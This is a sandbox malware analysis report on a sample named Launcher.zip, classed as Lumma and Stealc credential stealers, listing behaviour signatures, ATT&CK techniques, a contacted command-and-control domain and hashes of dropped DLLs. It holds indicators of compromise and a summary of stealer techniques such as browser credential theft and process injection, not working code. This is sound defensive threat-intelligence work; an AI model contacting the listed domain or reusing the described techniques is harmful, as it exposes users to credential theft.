Recorded Future® Sandbox

Malware Analysis Report

2024-10-08 17:29

Sample ID	240917-gckx5axdnp
Target	Launcher.zip
SHA256	0fca6fe80b97ab541751587e80f16c5684baba9f717e05919170e5f13c614a02
Tags	lumma, stealc, mainteam, credential_access, defense_evasion, discovery, execution, spyware, stealer

Table of Contents

Part 1. Analysis Overview

score

10/10

SHA256
0fca6fe80b97ab541751587e80f16c5684baba9f717e05919170e5f13c614a02

Threat Level: Known bad

The file Launcher.zip was found to be: Known bad.

Malicious Activity Summary

lumma	stealc	mainteam	credential_access
defense_evasion	discovery	execution	spyware
stealer			

- **Stealc**
- **Lumma Stealer, LummaC**
- **Credentials from Password Stores: Credentials from Web Browsers**
- **Command and Scripting Interpreter: PowerShell**
- **Downloads MZ/PE file**
- **Blocklisted process makes network request**
- **Unsecured Credentials: Credentials In Files**
- **Checks computer location settings**
- **Executes dropped EXE**
- **Loads dropped DLL**
- **Indicator Removal: File Deletion**
- **Accesses cryptocurrency files/wallets, possible credential harvesting**
- **Suspicious use of SetThreadContext**
- **System Location Discovery: System Language Discovery**
- **Suspicious use of AdjustPrivilegeToken**
- **Suspicious behavior: EnumeratesProcesses**
- **Suspicious use of WriteProcessMemory**
- **Checks processor information in registry**

Part 2. MITRE ATT&CK

2. 1. Enterprise Matrix V15

Reconnaissance TA0043			
Resource Development TA0042			
Initial Access TA0001			
Execution TA0002	Command and Scripting In… T1059		
	PowerShell T1059.001		
Persistence TA0003			
Privilege Escalation TA0004			
Defense Evasion TA0005	Indicator Removal T1070		
	File Deletion T1070.004		
Credential Access TA0006	Credentials from Passwor… T1555	Unsecured Credentials T1552	
	Credentials from W… T1555.003	Credentials In Files T1552.001	
Discovery TA0007	Query Registry T1012	System Information Disco… T1082	System Location Discovery T1614
			System Language … T1614.001
Lateral Movement TA0008			
Collection TA0009	Data from Local System T1005		
Command and Control TA0011			
Exfiltration TA0010			
Impact TA0040			

Part 3. Analysis: static1

3. 1. Detonation Overview

Reported
2024-09-17 05:40

3. 2. Signatures

N/A

Part 4. Analysis: behavioral1

4. 1. Detonation Overview

Submitted	Reported	Platform	Max time kernel	Max time network
2024-09-17 05:39	2024-09-17 05:51	win7-20240903-en	308s	319s

4. 2. Command Line

"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"

4. 3. Signatures

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2052 wrote to memory of 1928	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2052 wrote to memory of 1928	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2052 wrote to memory of 1928	N/A	C:\Users\Admin\AppData\Local\Temp\Launcher.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

4. 4. Processes

C:\Users\Admin\AppData\Local\Temp\Launcher.exe

```
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
```

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

```
"powershell.exe"
```

4. 5. Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	xilloolli.com	udp
US	172.67.161.82:80	xilloolli.com	tcp

4. 6. Files

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Private.CoreLib.dll

```
MD5     6dbad223dbfbfa51c8a181d011d8fe38
SHA1    063ac8af53e169bc3350fd5c7dbce900d30d1d24
SHA256  1dacec838cec88c43b929d4d4f25fc57d653076eb5554f441525b8940dc6d5b4
SHA512  30dc8627cee7a85d0d48fcc0d6ac8e2929fd90c973e9e7fbba0ee9dabc6e1ac98b1b93a0100848874f410c08bc681bda1f45dbad1959696a0e7336bc858e89ff
```

memory/2052-454-0x000000014030F000-0x0000000140310000-memory.dmp

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\WPFCalculate.dll

```
MD5     447eb5567bc8420383615a768dfdbd63
SHA1    060ba514cfdd34101f27daee4e2ea66a7d8c866d
SHA256  5771f43710d6b2c7a829036c886b098804264e7109e865b0a452c99365565494
SHA512  fd51fe8c9043aa92eb3907d6b612f5d464d3f3bd75aace3c63ffcb60ceca06ab867e42ae08fb35907bc1f935c970550f7278bb3db71bd725c301bae1fd6f01bf
```

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\PresentationFramework.dll

```
MD5     16a58c122f252ef45fc5c978ad2df76c
SHA1    3ea579d718db1773f52ec3a7fbfa6e400814f828
SHA256  5c19b4a1bc7cf90647cb791cc73424af8017b60df72cb013d8a0dcc3de380222
SHA512  d2b322e1e657aac8d4d8c7e3fb1f5a167b587f3a5c654878e8fd4e7e474cc6610bb0651bae4c041b5f89226b116e221df073cb9fa35cba27ec601180202147f5
```

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\WindowsBase.dll

MD5	75eced36e5f3369a554bde0c58a79a43
SHA1	01318560ba243e9eed46a0de7a73685f422e8b59
SHA256	3f595d2084d12420098ee214d84a227becbb9b7cef86debec1658e7c57b60073
SHA512	5a94122a144a467e6e136f12a00b94f70fbbe78a9eaab9c4f0d8d38dcf1dcd4c3e7bdcf417e55c3d3b74ae14d93a832056861956eee82eee29a5e0845fac7bb9

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Xaml.dll

MD5	fb1edbbc00baa9686d540bd028bb88e5
SHA1	5ee1794790a788283894e2453bc8ea185d684683
SHA256	cc4265de9e9d55f396bf54937f297a13c25b2c96eb70e920602f5fdfaffe5930
SHA512	302a714da81d048f12c563e44fc1efee6ebe8b367270ec4ce7a9a3caee51dc46c1333ff9212f048c53bc0f8757b3e79cbb25e6e79177f8efec00715df974742b

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Collections.Concurrent.dll

MD5	0bb7e6bb23a28b9ac2c6a2c340db2e08
SHA1	12df07407f23d8c47a9ae82e40dba1b72436953d
SHA256	d3ae5e3655e7d93ee396f57a84d215b2073430ea5f250d5cc01d8373649bc82f
SHA512	fc2b9b290d2ec40d5e5b73782a0d7686e5d9d7384564628b4200cecde6742cfba6d0f46401c05bb006cd6f361e43ca9358b25f40badf69eabed1ec9f776481a6

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Private.Uri.dll

MD5	f08d412526ae885fbe839e072b86e76b
SHA1	3eb34a15c0fffb3018362390887e13c947e3d9f4
SHA256	740ab4b994cea3ea16f540908af7b641d262f38c96ae4b7e947b0ea59f7a2ced
SHA512	667de84a1bd23c8eb3bb44ffa34bd1b8d581300871c7d4244c592bb139c822a4af9d5d06fc3a199ccb9916dbb65885f50a1d4cd44121d9c92aad45cae25faf88

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.IO.Packaging.dll

MD5	54862587ded3549cc15f67b76f75b035
SHA1	89da22ee2baaf714f8c3efa62db94283b75fdf3e
SHA256	fec5b094166a58f932a7c886ce93a8792f1d47c53b546f4e1e950d8f92d36b38
SHA512	767c500bcd8c9e599680dcdfbed15fb2ec9fc66a02e0b8a63ce3f2377df2c29a6aa90c8293319bafbe19703b58f5e262d0119933d6f39898a516e013a35361cd

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Runtime.InteropServices.dll

MD5	20d6811b3672eb512e6829fc480d3969
SHA1	31a2e4026e79d8393f3f0b026e96fd819b4f7a76
SHA256	fbca80f45ca5c181521ca2d50a7f9933ab28f506af73c7e3123ba60216f52a1c
SHA512	31694587ce54670271304ea9ae1d0b4f234757eb55ee77d41a8c0d1f30cdb439ef523c8735eadca4684915c278d27644ae418d271709a28bb523588240e3e747

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Runtime.CompilerServices.Visua

MD5	6ee1d384d33679b1a165515cbc693bd6
SHA1	657a0328a12b0a01ae78f751ee5ddafbb05a43ec
SHA256	8e745c80741068c48043e5cfe59cd1be01654a91f9ffb8d604ee04cc8eb6b834
SHA512	f0b7877b0366828dab1e367f57cc532c93030f1169fb502f49fb316f6c89207c199cb4b0d06c09b764f2bc7f79838b884b28618be3ca7c0e2f0f409303312851

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\DirectWriteForwarder.dll

MD5	fc84b8ce13b688be1b4d47df03f5429b
SHA1	015bef451282c78628a4b8ad1002fcbb96cc9fda
SHA256	81adeb831c5ca434d5066583b659b5758745d948fdaa7fdb31d92e9ecbdae954
SHA512	44c0768ce4dd8a3d6c309a18bfdd398072a9f3688793979cf58d05ec3682e9a5e489410448175af560e4f15099773a7ae6832cca9a9c5df8f469c2d65c1a92c8

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\PresentationCore.dll

MD5	8d73386e6500a5f1472d9ea609cf1f86
SHA1	fa9719fa533f832b367c449a626303719255aa4c
SHA256	e31fe2a233531b8ef785380f65e964535ee55fdd4bbc9000b0df2107103455fa
SHA512	0ee6f58c290f9edd2cb1e54fd7c3fb6a613c120d0c4fe645924bf30279a927e4374c03a0d0e0f307dd24ac67ebc569815f941708e1b3ae963ce60f00fd232b69

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Threading.dll

MD5	3429b717fc27f250f874bea622b4e03b
SHA1	8caab76db001110d765d37850b6b8fa2d02cf01e
SHA256	be6e0369d53f3d3898d94bb98951b71e820b4a01709b0ad980f3740a77d12fd4
SHA512	489ec41315375460e4c499bca4d601633357b6f57eab9084e5005fe410f4fe6a2cbc40a164dcb0865d3d5f22b38aa2208f1e050189babc4affba51364a67f65f

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Collections.NonGeneric.dll

MD5	6a23d7d07a6f354f634ce3dd001a3313
SHA1	1661996be828a9440cd18e8ad9eabaf1d7dabda9
SHA256	97905829ef2b43562fa46120f9d9ba745678dff4c67432e114bee3a9b30c7916
SHA512	7544cf3cf12554979584929966666e1568ca91ce9a149090c7e18411589517fa8f2010406bf0be3f472afc80f5a2baa209252bf45bbc12e9dff344c6b57edf608

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\Microsoft.Win32.Primitives.dll

MD5	545099a9bb17d21833895d06bb14dee2
SHA1	598d6e9f47ef119382ce79284b7c8626d5916206
SHA256	eec886a7dff5964a0656e16d98d0ea3aa3bb9b1eb1147c2e32d182276d27eefa
SHA512	17ce0b042da5104a578bd4df856eab82af29c854fbf72f3d0532786dad9fb54b11a0fc6cd53136cfd34af169f4a74ae72b2b50e3f65420643e266c40e7e2bcb5

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\Microsoft.Win32.Registry.dll

MD5	ec0db1578a6c4579da2ea7c3ea1afee5
SHA1	3880251d14c825176086f69d9d6ddcc285b66651
SHA256	cf40a82e25909025ef2763e6c135e8660d7663088c0f2b1e3469a5a23c15f4e8
SHA512	1ef7131bed4ee8f06aea9e5dca70d18887a4bbd48ac4ac993aadd83145e06d9e2d031a00e76466aa63807ead163b34deadc19f63744deb3d4ede7668603930a7

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Collections.Specialized.dll

MD5	6050316a2195f807299462e1aa57f930
SHA1	c3cc34bcde00380fa7b6b74478153651be58306e
SHA256	a6aa742690c3c0674b686c1df85fed526be0442cc9c4b813435e62205387e619
SHA512	2992615d955305629a4eb3d4b2c56d22c61138957ac13bc87d41b13bbfb93fbff8fdd54d4e1ef07ad26ac4e3b54a305e01c6b4e63add5f52ec01fe72d7c11e05

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.ComponentModel.Primitives.dll

MD5	06b531d85669967a7ddb906cc13fc85e
SHA1	1e0df2633d9dfcf3550541beaaa8b0837a5b1693
SHA256	cd437e927dccb2083268fa48d179a4b50863769c04f9e61ffcba0bc8b16f1c4f
SHA512	39fee2dd60925d7479de7b170fe9dd67a656b99299908a0d91cb7d91a4494bcebfdc4e61cd1047e62cba4db7b204dd9ba05a891bbd4bbb869eb7e5a9a00800e5

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Collections.dll

MD5	b4db6917e597c76ff49644d53225e30b
SHA1	0e8bd02cc04f4c7211f8691bd5de0fd1a7d42910
SHA256	5402cdf9ac94afd8d6ea1a96d6aeb0fb700f1a2e3768ec00d5bcc1f911cd728e
SHA512	041c106d52a0978921ba60a4ce1176afbb816b3b078852d8b5bf0f4fd01f29af5eebe5a68c0e308dcc2a7c9d2cc774cdca92e6e3998eac467f80d7af4268d85e

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Memory.dll

MD5	c54ccd56cd3aa8e39b3d28fb5b3596b8
SHA1	ef59c33992612ddd26e896a37132288541a02476
SHA256	10bff19862d11f4a6b61978539bb669357902b7f7be48b564467e8e9abfa78b3
SHA512	97d9e2b97cb793145c8a14012fd838e79424962bda0b86130507efe195112a83c88c4bd1004d9c55b4b5afb28e5395f41ef22e354e0f28bee77756ae55743851

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Linq.dll

MD5	37275781fa8e7ab4527d88f3e4379af7
SHA1	11efae07dfe2a327e99b212ee21d3a94d10b29e9
SHA256	eaf11f2ba3fb00c30a37ec3b80eca9e032fd2c2d1be703dbad3afa5874205159
SHA512	253709ed52c7f2b0e074da2218851fdb6663933ed6ce88744d84036e469c349f6edbb08cfc050e13007e1248321b5548b3122e04f142fe3fbcd9eff6a9837ea5

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.ComponentModel.EventBasedAs

MD5	0947fd8f6a8dd7f433e5c892e411adf7
SHA1	2cbe68fa332ea93d3837805f9a1fe92889ee73db
SHA256	eab137913e54efdf72287f1f237ed0867b113d6880b44a8cda00f06dc50d3d4d
SHA512	2b22eddc8caf295a6896583fba0888a39996627b289d01b83d348c6e99b26b4038412b975da074435537d08f10be06753cd21b90f2898dd529dba32955f6a2a6

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.WebClient.dll

MD5	4a90aa477997cf7b4bb4c9cdf7b7a258
SHA1	667a71e3f24568f0f9ca3a9d15ecbb6d1fcde6f1
SHA256	0524a4c6a507adee5dd73a3f7880d1b015df1aa6b6feaf71eab6710629e154d3
SHA512	f5a8b2e0928352f7a6f455e2d9d9282576fe0693e6f44bab215595edba043820cdb1c5cb39a8b94cbf6af7879c8a315fa2435d2d9eeaee910f23e49d9999ab58

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Private.Xml.dll

MD5	31c0febc4f778b8ad88d458e5bd36143
SHA1	7a47cbf8484b0433f3c1a2d6715fdb66c0be3524
SHA256	a2445e9d59d4b808762e5effacab00818bf9bb37f240a056f4d5c7287a7156e4
SHA512	4ae5ec9bb50dcc9524a2bac69c87cfec59d66705165266da9af83c0447c2de4513c0c1553a5ada22e24128b6c6b40ceb519f69ec3351cc1ef52124209a2b342e

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Runtime.InteropServices.Runtim

MD5	88b3f844b69abd93f04de5df4cb59a1d
SHA1	f99fc151ad001c0bfaca6297568b1c49f11519a6
SHA256	3ebb10572b5c0ac5ecdbca6d6c6290e1fbdd40017b0166e31a993f5454c129d1
SHA512	025f5e63aeb2df70ec5284cbc0510482b8f7b272c103330ab4819eaed6db73343e67cc46dd4a3428bbe1b1c380c0a10846679d44acb87f9cd69da1b328a2429b

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Configuration.ConfigurationMan

MD5	c4b723eb190e815093de1fa84d81279b
SHA1	f2ec7028e677881fbae60bbe706aa70beda21c93
SHA256	29dce079eee8f58c203ebd1228bdb9294048c4bcadaa7a4f32b122aed5d1c204
SHA512	aa2a77c9af342af895f0293649c985846d508bbcdc09f06eab40144bcbc8fc244faa7f46fe256dbb39de1b4618ac40721bf8e820a05444eb57cb03933a19b208

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\PresentationNative_cor3.dll

MD5	fbe524ad6c2416c0d71e7c5421d48d95
SHA1	65b98f492799a798ae4e0556081385ffaac08c82
SHA256	76f808ea3da6a05e1940c73754f328a46da88dbc1182ce1451e94fa5f3e03645
SHA512	6ec1fd7c615e4f0fd4128b4fdc125e68c1d64f18494c4ec8dec37e71dd7754b0861321e026ba4decdd589df92f8a264e491758bfd321dff73b834dd10b0df0d7

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.ComponentModel.dll

MD5	ea31fbec7db96997bbd7d89f8675fd2b
SHA1	e00e346c020cb045a259806cdcaaa0fdcc7ac58c
SHA256	ff7e98a94baad7e546a20dd668835fde3c2d49154d70ecd10cfba0f4eb63b93b
SHA512	3cf1111bb4d1ad31fcb004bada73a1d6a5dbf1f1a0a20bb41bcc38b79dd62b3d3290f836d41efa8bcdac539e3b0a7ae3bf89a49835fc928903ac2f087fe4145e

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Diagnostics.TraceSource.dll

MD5	06ac04510a827c35a36022343812c545
SHA1	91d657efbb21dec1313b57f963e006e062dbf7a9
SHA256	445b8535755bef2f2a38f4f638efe53486e00de03e17168758c81feb439c6c20
SHA512	4864a3fdbcea8b93afceb805b3b0899bffb10bf97d1dacdc65b1cba77517ff08d8c7ad21793ff25e76a3e0b90ecfcd1380f00e69446b2cfa32c0ccd2baa6d63b

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.ComponentModel.TypeConverte

MD5	b60fba0d0ed7c3f4db36e68233f3f358
SHA1	ea306a8f0c0bf94c820dfc048cfbd0c130c42991
SHA256	c14bf6a1f390ff18a9f1615f9502ccf8a9c11f4ca73e594bdd270a1c59386c37
SHA512	d2af286726f34b4bd422d55a1dead66d4eac6b966874b002eb65fd2ba48ef4051ceab6ee5c5f48995505306a95cf06616202b4327a5dc1bd5ff15f78d8b27a25

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.ObjectModel.dll

MD5	021d21ff9e79f3405694a5f40aa264ae
SHA1	a4955fa43ddd1357b75fb84ce4961ca36ded352f
SHA256	d7aa931bb2f5980e59540402eb84032a7d5134bdbc4e8838a73c3d6f5f9b5bb5
SHA512	26112fe552d7d362ccf70bb9f794fba7a72a476004eb84044c3889dbe6612b0a8e4580d60c608123602a59ee300fd8663a47a573404d28b3bad986b13e817127

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Windows.Extensions.dll

MD5	31dd38f875ff6238bf17bb4ff3422403
SHA1	97a4f5f42d540dab9ca008922d1a1c8aa161680a
SHA256	69e11d194589037081d87d416b6fb3929a6ea17226520f98338a7f756be3b324
SHA512	8d2d38502038a45078fe0abae2ea9de7d03d9844f9bf55ff4f0c604fee0f380bf69455f295d06b0c932b563cfb0a81e051224294471c2ae5ae704ef5d3d42469

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\UIAutomationTypes.dll

MD5	8f20759dc12a5cb89e5ad2e182676543
SHA1	efc516c60396fc1037b4b98bb122b25103dc1362
SHA256	cd6c132bb9a64d2964842101cf1e2f4dcbb76224b4cf1cb7928bb720063fce34
SHA512	c66c3709814cc521b3a3ddab291bf3bad4546522552de56446eee47741ae41297b8d5d249b8a950d46b3dbd793f5e1f952e9f7a07c2b6cf847960f48cc0c3aa2

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\wpfgfx_cor3.dll

MD5	eb5f89cd8c6bb80a755f36b307f504d5
SHA1	2eb3b5f8748f08c5f4f9c86fdd1817ea2c84668b
SHA256	8a799f376aaf198adca84ac9b6f29a65865f32be269f0d1d0e941e3eed53c077
SHA512	49d172efcb400f1e2fdc08d0b5338af2aadc89dd63917af52eca27ccbdf9d08a6db61fa5fa1a326dcf12418ba4bec6aa5f43cbc8eb9e36a6a865179c84097d1f

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\D3DCompiler_47_cor3.dll

MD5	a7349236212b0e5cec2978f2cfa49a1a
SHA1	5abb08949162fd1985b89ffad40aaf5fc769017e
SHA256	a05d04a270f68c8c6d6ea2d23bebf8cd1d5453b26b5442fa54965f90f1c62082
SHA512	c7ff4f9146fefedc199360aa04236294349c881b3865ebc58c5646ad6b3f83fca309de1173f5ebf823a14ba65e5ada77b46f20286d1ea62c37e17adbc9a82d02

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.WebHeaderCollection.dll

MD5	0ebe86612960a18f2abc502ef7aaea8f
SHA1	84e70f75e4554b9b28a211c01a97535568d3e36a
SHA256	28fd3dc8e44c45c5f8fa0f968647eaf900124fa2f1172c561518e7ca698d03e4
SHA512	5bcf4ed3bde36dcb21390fc76fb9ba43cd5c28d44ae59c29884d8e0d30b61c93f061a7c62f0a4c2dd548994615d4d367651e5cae97f9a0a2912806b2f3e59255

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.Primitives.dll

MD5	65c707bdd545ad87ed18a1e01e6adde4
SHA1	2e82b3f126b80cff01a13cc16c2400f91eb5700a
SHA256	730352afe927e194d1789f8534194ee2f86cd8e7d2d86c65be9d75f408a9366e
SHA512	c7b9239f9479db553b44bcdd7d9279898ffed24667fbb8d77a60b7095a116e9101c0a66da940778d8dbe635df77d5f016ce41680619962b13b491bf74f21ab08

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Net.Requests.dll

MD5	011d0f8feb9ca46f5e3ddc7dc4421977
SHA1	f09e5bc069aa3e124aadd64407a7229d72232eff
SHA256	fd360073a1226c0a102b8ffdcdd7daa6cb03c72a6b80482dc11a123012eee2f0
SHA512	3a7dcd5735e232cef19a30737c90b6727c9c92660bf339a6a2136b81c80b7f2813df19cb7559d2b34858cb619f9cc623bf7a5258d2132833ead6cde5444e7e26

memory/2052-536-0x0000000001CD0000-0x0000000001CDA000-memory.dmp

memory/2052-535-0x0000000001CD0000-0x0000000001CDA000-memory.dmp

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\System.Diagnostics.Process.dll

MD5	060c047d431a0bdff8c9bb73c57b3ee1
SHA1	3e6ea552d5a49c8fb37836dbaf5adb80b01e756e
SHA256	b5ad34159f8999d7f11fe97cc32915cd3aef6b1699aad7b0ec3d5da3b74c3dc8
SHA512	2ea4a93a2f9b5e0488b7bd0be3be943ab007323c925cf0889a5a203f48c4189b4d3e4be91ec100eeb4f46855ffc0068b7eed564c810843bd107ffbe68617403a

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\PresentationFramework.Aero.dll

MD5	a41ece7ecb07a69015e3dcef22f71af0
SHA1	9da672a6a64f5ee33ff75e18df1308c67b4458ec
SHA256	c03660ff41cee54ad1a6d68452f98879f691eb9d197120543bacfff07cf7131a
SHA512	a0d1182736ba72431689a83cad046503f1fc5571c17e1cd275284f9028ccb9ab9308be9a6d56161d89c0edec67238d9756b8f42da8aaf38d3390cdb6ee9519bf

\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\UIAutomationProvider.dll

MD5	e649fb84392d3aad654e4c73f5f068c5
SHA1	fef362b041477981a04d9022b46e7163e855b6c2
SHA256	dc44c713078cdd95d4d169ccd15add97c2c56c797158486e280d5526e360ba1b
SHA512	da2b9acae6ba722e1cc6fd76c7928bfc44a6a8aab45cf618740cbb9de9cf135dcde3674cd0ec12dd27dec0f7b177359eeadcda9ccc3a166a9f0b324597809d63

